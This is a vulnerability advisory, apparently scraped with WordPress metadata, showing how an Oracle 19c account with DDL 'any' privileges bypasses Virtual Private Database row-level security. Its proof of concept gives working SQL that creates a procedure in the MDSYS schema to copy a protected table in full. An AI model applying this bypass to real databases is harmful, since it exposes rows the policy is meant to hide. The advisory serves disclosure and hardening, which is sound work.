Title: Breaking Oracle Database VPD (Virtual Private Database) Through DDL Permissions in 19c
Product: Database
Manufacturer: Oracle
Affected Version(s): 19c
Tested Version(s): 19c
Risk Level: Low
Author of Advisory: Emad Al-Mousa<\/p>\n
*****************************************
Vulnerability Details:<\/p>\n
By design VPD security feature protects against any database account that is not granted EXEMPT ACCESS POLICY from viewing the complete database rows within the table in addition of course to DBA role which I am going to tackle at the end.<\/p>\n
However, this security feature will not protect against accounts with DDL permissions especially an account granted the following permissions: create any procedure, execute any procedure, select any table<\/p>\n
For VPD simulation you can follow steps in this link: https:\/\/geodatamaster.com\/2024\/09\/04\/oracle-vpd-virtual-private-database-row-level-security-in-19c-and-23ai\/<\/p>\n
*****************************************
Proof of Concept (PoC):<\/p>\n
sqlplus \/ as sysdba<\/p>\n
SQL> alter session set container=PDB1<\/p>\n
SQL> CREATE USER owoods IDENTIFIED BY owoods<\/p>\n
DEFAULT TABLESPACE users TEMPORARY TABLESPACE temp;<\/p>\n
SQL> GRANT connect, resource, create any procedure, execute any procedure, select any table<\/p>\n
to owoods;<\/p>\n
SQL> GRANT READ ON sh1.customers TO owoods;<\/p>\n
SQL> exit;<\/p>\n
sqlplus owoods\/owoods@PDB1<\/p>\n
SQL> grant read on sh1.orders_tab to public;<\/p>\n
SQL>CREATE OR REPLACE PROCEDURE MDSYS.fetch_data AS<\/p>\n
vsql VARCHAR2(4000);<\/p>\n
BEGIN<\/p>\n
vsql := ‘create table MDSYS.orders_tab_copy2 as select * from sh1.orders_tab ‘;<\/p>\n
EXECUTE IMMEDIATE vsql;<\/p>\n
END;<\/p>\n
\/<\/p>\n
SQL> exec MDSYS.fetch_data;<\/p>\n
SQL> select * from MDSYS.orders_tab_copy2;<\/p>\n
CUST_NO ORDER_NO<\/p>\n
\u2014\u2014\u2014- \u2014\u2014\u2014-<\/p>\n
1234 9876<\/p>\n
5678 5432<\/p>\n
All rows were successfully extracted from the table (the ones by default owoods account have no access to).<\/p>\n
Another important thing to consider is \u201cDBA\u201d role behaviour\u2026.EXEMPT ACCESS POLICY system privilege is not part of DBA role so be careful because DBA role implicitly has GRANT ANY PRIVILEGE system privilege which enables the DBA account to gran it any way.<\/p>\n
*****************************************
References:
https:\/\/docs.oracle.com\/en\/database\/oracle\/oracle-database\/19\/dbseg\/using-oracle-vpd-to-control-data-access.html#GUID-7FFB40CB-E421-4FE4-8344-29D91360EFAD
https:\/\/geodatamaster.com\/2024\/09\/04\/oracle-vpd-virtual-private-database-row-level-security-in-19c-and-23ai\/
https:\/\/databasesecurityninja.wordpress.com\/2024\/09\/07\/breaking-oracle-database-vpd-virtual-private-database-through-ddl-permissions-in-19c\/
https:\/\/databasesecurityninja.wordpress.com\/2024\/09\/04\/oracle-database-exempt-access-policy-not-logged-for-sys-account-in-unified-audit-log-ora_secureconfig\/<\/p>\n","protected":false},"excerpt":{"rendered":"
Title: Breaking Oracle Database VPD (Virtual Private Database) Through DDL Permissions in 19cProduct: DatabaseManufacturer: OracleAffected Version(s): 19cTested Version(s): 19cRisk Level: LowAuthor of Advisory: Emad Al-Mousa *****************************************Vulnerability Details: By design VPD security feature protects against any database account that is not granted EXEMPT ACCESS POLICY from viewing the complete database rows within the table in addition …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59539","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59539","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59539"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59539\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59539"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59539"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59539"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}